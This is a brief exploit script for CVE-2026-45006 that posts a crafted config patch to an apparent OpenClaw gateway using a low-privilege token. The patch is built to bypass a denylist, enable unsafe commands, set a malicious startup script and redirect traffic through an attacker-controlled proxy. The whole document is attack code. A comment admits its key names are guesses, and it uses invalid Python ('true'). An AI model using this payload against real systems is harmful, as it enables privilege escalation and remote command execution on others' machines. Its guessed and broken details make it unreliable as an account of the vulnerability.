CVE-2026-45006

import requests import json # Target URL (Example) target_url = "http://target-openclaw-instance/api/gateway/config.patch" # Malicious payload bypassing the incomplete denylist # Assuming 'execution_policy' is a config key not in the denylist but affects command execution payload = { "config": { "execution_policy": { "allow_unsafe_commands": true, "startup_script": "malicious_command.sh" }, "network_settings": { "proxy": "http://attacker-controlled-proxy.com" } } } headers = { "Content-Type": "application/json", "Authorization": "Bearer <low_privilege_token>" } try: response = requests.post(target_url, headers=headers, data=json.dumps(payload)) if response.status_code == 200: print("[+] Vulnerability exploited! Configuration updated.") else: print(f"[-] Exploit failed. Status code: {response.status_code}") except Exception as e: print(f"Error: {e}")

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